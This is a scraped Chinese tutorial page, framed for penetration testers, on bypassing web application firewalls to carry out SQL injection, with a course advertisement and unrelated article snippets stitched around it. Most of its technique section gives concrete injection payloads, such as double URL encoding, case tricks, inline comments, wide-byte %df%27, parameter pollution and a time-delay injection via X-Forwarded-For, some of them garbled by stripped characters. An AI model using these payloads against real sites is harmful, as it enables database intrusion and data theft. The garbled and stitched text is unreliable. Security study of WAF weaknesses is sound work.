家教网站建设模板我国数字经济报告

张小明 2026/1/10 12:03:31
家教网站建设模板,我国数字经济报告,平果信息网,免费制作网页Web应用程序而设计的#xff0c;我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧#xff0c;二是能够对安全设备厂商提供一些安全建议#xff0c;及时修复WAF存在的安全问题#xff0c;以增强WAF的完备性和抗攻击性。三是希望网站开发者明白并不是部署了WA…Web应用程序而设计的我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧二是能够对安全设备厂商提供一些安全建议及时修复WAF存在的安全问题以增强WAF的完备性和抗攻击性。三是希望网站开发者明白并不是部署了WAF就可以高枕无忧了要明白漏洞产生的根本原因最好能在代码层面上就将其修复。一、WAF的定义WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理从而保证Web应用的安全性与合法性。WAF部署在哪里在测试的过程中我们要知道WAF一般主要是部署在那个节点这对我们绕过WAF时有很大帮助。通过下图我们可以大概了解绕WAF的理解在我自己看来所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中但是在应用程序能够执行成功的载荷绕过防护。那些特性就像是一个个特定的场景一样一些是已经被研究人员发现的一些是还没被发现等待被研究人员发现的。当我们的程序满足了这一个个的场景倘若WAF没有考虑到这些场景我们就可以利用这些特性bypass掉WAF了。由于各个层面可以利用的特性很多而且WAF往往要考虑自身的性能等等方面导致了WAF往往会留下一些软肋。二、WAF的工作原理WAF的处理流程大致可分为四部分预处理、规则检测、处理模块、日志记录1. 预处理预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求之后会查看此URL请求是否在白名单之内如果该URL请求在白名单列表里直接交给后端Web服务器进行响应处理对于不在白名单之内的对数据包解析后进入到规则检测部分。2. 规则检测每一种WAF产品都有自己独特的检测规则体系解析后的数据包会进入到检测体系中进行规则匹配检查该数据请求是否符合规则识别出恶意攻击行为。3. 处理模块针对不同的检测结果处理模块会做出不同的安全防御动作如果符合规则则交给后端Web服务器进行响应处理对于不符合规则的请求会执行相关的阻断、记录、告警处理。不同的WAF产品会自定义不同的拦截警告页面在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品从而有目的性的进行WAF绕过。4. 日志记录WAF在处理的过程中也会将拦截处理的日志记录下来方便用户在后续中可以进行日志查看分析。三、WAF的分类1. 软WAF软件WAF安装过程比较简单需要安装到需要安全防护的web服务器上以纯软件的方式实现。代表产品安全狗云锁D盾等2. 硬WAF硬件WAF的价格一般比较昂贵支持多种方式部署到Web服务器前端识别外部的异常流量并进行阻断拦截为Web应用提供安全防护。代表产品有Imperva、天清WAG等3. 云WAF云WAF的维护成本低不需要部署任何硬件设备云WAF的拦截规则会实时更新。对于部署了云WAF的网站我们发出的数据请求首先会经过云WAF节点进行规则检测如果请求匹配到WAF拦截规则则会被WAF进行拦截处理对于正常、安全的请求则转发到真实Web服务器中进行响应处理。代表产品有阿里云云盾腾讯云WAF等4. 自定义WAF我们在平时的渗透测试中更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全会在可能遭受攻击的地方增加一些安全防护代码比如过滤敏感字符对潜在的威胁的字符进行编码、转义等。四、WAF的部署方式透明网桥反向代理镜像流量路由代理五、 绕WAF的多种方式为了让大家更清楚的理解绕WAF的方法原理本次WAF绕过方法的介绍中会增加部分代码示例。注本文的代码示例都是在sqli-labs基础上修改的。正常无拦截规则的代码接收用户传递的参数后直接带入数据库中执行。为了方便查看将查询语句动态输出。1. 各种编码绕过绕WAF最常见的方法就是使用各种编码进行绕过但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。a) URL编码增加了过滤规则的代码代码中增加了特殊字符过滤但在参数值进入数据库查询语句前多了一步解码操作$id urldecode($id);正常payload?id1 and 12直接提交攻击语句单引号被过滤注入语句未成功插入。绕过payload?id %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32对参数值进行URL编码后可绕过过滤检测注入语句成功写入。b) 二次URL编码增加了过滤规则的代码代码中在特殊字符过滤前又多增加了一步解码操作可使用二次URL编码进行绕过。正常payload?id1and 12?id%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32使用一次URL编码绕过后由于在过滤前会进行一次解码操作所以单引号还是被过滤掉注入语句未成功插入。绕过payload?id%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32使用二次URL编码后可绕过过滤检测注入语句成功写入。c) 其他编码除了使用URL编码外还可以使用其他的编码方式进行绕过尝试例如Unicode编码Base64编码Hex编码ASCII编码等原理与URL编码类似此处不再重复。2. 字母大小写转换绕过部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符未对sleeP/slEEp进行过滤可对关键字进行大小写转换进行绕过。增加了过滤规则的代码正常payload?id1 and sleep(3) and 11?id1 and SLEEP(3) and 11绕过payload?id1 and sleeP(3) and 11?id1 and slEeP(3) and 113. 空格过滤绕过增加了过滤规则的代码部分WAF会对空格过滤可使用空白符或者‘’号替换空格进行绕过。a) 使用空白符替换空格绕过数据库类型允许的空白符SQLite30A0D0C0920MySQL5090A0B0C0DA020PosgresSQL0A0D0C0920Oracle 11g000A0D0C0920MSSQL0102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F20正常payload?id1and sleep(3) and 11空格被过滤注入语句未成功插入。绕过payload?id1%0Aand%0Asleep(3)%0Aand%0A11注入语句成功写入b) 使用‘’替换空格绕过绕过payload?id1andsleep(3)and11注入语句成功写入c) 使用注释符/**/替换空格绕过绕过payload?id1/**/and/**/sleep(3)/**/and/**/11注入语句成功写入4. 双关键字绕过部分WAF会对关键字只进行一次过滤处理可使用双关键字绕过。增加了过滤规则的代码正常payload?id1and SLeeP(3) and 11由于使用了strtolower()函数所以无法使用大小写转换进行绕过注入语句未成功插入。绕过payload?id1andSLesleepeP(3)and11WAF只对关键字sleep进行一次过滤可使用SLEsleepEP进行一次过滤后成为sleep可绕过WAF注入语句成功写入。5. 内联注释绕过在MySQL里/**/是多行注释这个是SQL的标准但是MySQL扩张了解释的功能如果在开头的的/*后头加了惊叹号/*!50001sleep(3)*/那么此注释里的语句将被执行。增加了过滤规则的代码正常payload?id1andsleep(3)and12绕过payload?id1and/*!50001sleep(3)*/and116. 请求方式差异规则松懈性绕过有些WAF同时接收GET方法和POST的方法但只在GET方法中增加了过滤规则可通过发送POST方法进行绕过。增加了过滤规则的代码正常payloadGET /xxx/?id1andsleep(4)绕过payloadPOST /xxx/id1andsleep(4)发送POST请求绕过过滤规则注入语句成功写入。7. 异常Method绕过有些WAF只检测GETPOST方法可通过使用异常方法进行绕过。增加了过滤规则的代码正常payloadGET/xxx/?id1andsleep(3) HTTP/1.1绕过payloadDigApis /xxx/?id1andsleep(3)HTTP/1.1使用异常方法绕过过滤规则检测注入语句成功写入。8. 超大数据包绕过部分WAF只检测固定大小的内容可通过添加无用字符进行绕过检测增加了过滤规则的代码正常payload?id1andsleep(3)绕过payload?id1andsleep(3)and111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111添加无用字符使内容大小超过WAF检测能检测到的最大内容。9. 复参数绕过在提交的URL中给一个参数多次赋了不同的值(?id1id2)部分WAF在处理的过程中可能只处理前面提交的参数值(id1)而后端程序在处理的时候可能取的是最后面的值。正常payload?id1andsleep(3)绕过payload?id1id2andsleep(3)将攻击语句赋予最后一个id参数可绕过WAF检测直接进入后端服务器。10. 添加%绕过过滤将WAF中过滤的敏感字符通过添加%绕过过滤。例如WAF过滤了select 可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时会直接过滤掉%字符从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时会直接过滤%字符。正常payload?id1 union select 1, 2, 3 from admin?id1union select 1, 2, 3 from admi绕过payload?id1 union s%e%lect 1, 2, 3 from admin?id1union s%e%lect 1, 2, 3 from admin?id1union s%e%lect 1, 2, 3 from admin?id1union s%e%lect 1, 2, 3 from admin11. 协议未覆盖绕过以下四种常见的content-type类型Content-Type:multipart/form-data;Content-Type:application/x-www-form-urlencodedContent-Type: text/xmlContent-Type: application/json部分WAF可能只对一种content-type类型增加了检测规则可以尝试互相替换尝试去绕过WAF过滤机制。例如使用multipart/form-data进行绕过。正常请求转换为multipart/form-data类型进行绕过12. 宽字节绕过宽字节注入是因为使用了GBK编码。为了防止sql注入提交的单引号(%27)会进行转义处理即在单引号前加上斜杠(%5C%27)。正常payload?id1and 11--绕过payload?id1%df%27and 11--%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节而%27则被当做单引号成功实现了语句闭合。13. %00截断部分WAF在解析参数的时候当遇到%00时就会认为参数读取已结束这样就会只对部分内容进行了过滤检测。正常payload?a1id1and sleep(3)绕过payload?a1%00.id1and sleep(3)14. Cookie/X-Forwarded-For注入绕过部分WAF可能只对GETPOST提交的参数进行过滤未对Cookie或者X-Forwarded-For进行检测可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。正常payloadGET /index.aspx?id1and11 HTTP/1.1 Host: 192.168.61.175 ...........Cookie: TOKENF6F57AD6473E851F5F8A0E7A64D01E28;绕过payloadGET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........Cookie:TOKENF6F57AD6473E851F5F8A0E7A64D01E28; id1and11;X-Forwarded-For:127.0.0.1’;WAITFOR DELAY’0:0:5’–15. 利用pipline绕过当请求中的Connection字段值为keep-alive则代表本次发起的请求所建立的tcp连接不断开直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。正常请求被拦截利用pipline进行绕过首先关闭burp的Repeater的Content-Length自动更新修改Connection字段值为keep-alive将带有攻击语句的数据请求附加到正常请求后面再发送一遍。16. 利用分块编码传输绕过分块传输编码是HTTP的一种数据传输机制允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked就代表这个消息体采用了分块编码传输。17. 冷门函数/字符/运算符绕过floor() updatexml()extractvalue()Substring() Mid()Substr()Lpad()Rpad()Left()concat() concat_ws()group_concat()limit 01 limit1 offset 0and or || likeSleep() benchmark()六、总结上面使用部分代码示例向大家介绍了一些基础的绕过WAF注入方法但实际中的WAF检测规则错综复杂需要我们通过手工或fuzzing并结合多种方法的组合拳去测试WAF检测原理从而对抗WAF。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

济南网站建设搜点网络网站建设策划书论文

PPTist在线PPT编辑器的终极完整教程:从零开始快速上手 【免费下载链接】PPTist 基于 Vue3.x TypeScript 的在线演示文稿(幻灯片)应用,还原了大部分 Office PowerPoint 常用功能,实现在线PPT的编辑、演示。支持导出PPT…

张小明 2026/1/10 8:07:18 网站建设

制作微网站公司万泉河网站建设

raylib实战指南:构建你的第一个跨平台游戏 【免费下载链接】raylib raysan5/raylib 是一个用于跨平台 C 语言游戏开发库。适合在进行 C 语言游戏开发时使用,创建 2D 和 3D 图形应用程序。特点是提供了丰富的图形和音频处理功能、易于使用的 API 和多种平…

张小明 2026/1/10 8:07:01 网站建设

西安的做网站的公司网站宣传专利被罚

5分钟快速上手:现代化Vue3后台管理框架终极指南 【免费下载链接】ant-design-vue3-admin 一个基于 Vite2 Vue3 Typescript tsx Ant Design Vue 的后台管理系统模板,支持响应式布局,在 PC、平板和手机上均可使用 项目地址: https://gitc…

张小明 2026/1/10 8:07:00 网站建设

郑州网站推广公司桂林两江四湖图片

在Java开发过程中,编译错误排查与代码漏洞修复往往占据开发者大量工作时间。尤其是在中大型项目迭代、框架版本升级或多环境适配等复杂场景下,传统修复方式要么依赖通用编程工具的“泛化建议”,要么需要手动反复调试,不仅效率低下…

张小明 2026/1/10 8:07:05 网站建设

网站维护等楚雄建设局网站

PaddlePaddle模型压缩实战:知识蒸馏降低Token需求 在中文自然语言处理的工业落地中,一个看似不起眼却频繁“卡脖子”的问题正日益凸显:同样的语义内容,在中文场景下往往需要比英文多出近一倍的Token来表达。比如一句简单的客服咨询…

张小明 2026/1/10 6:40:03 网站建设

郑州网站制作服务九江市seo

让角色动起来!阿里Wan2.2-Animate开源模型让动画制作变得如此简单 【免费下载链接】Wan2.2-Animate-14B 项目地址: https://ai.gitcode.com/hf_mirrors/Wan-AI/Wan2.2-Animate-14B 还在为制作专业动画而头疼吗?阿里巴巴通义实验室开源的Wan2.2-A…

张小明 2026/1/10 6:40:09 网站建设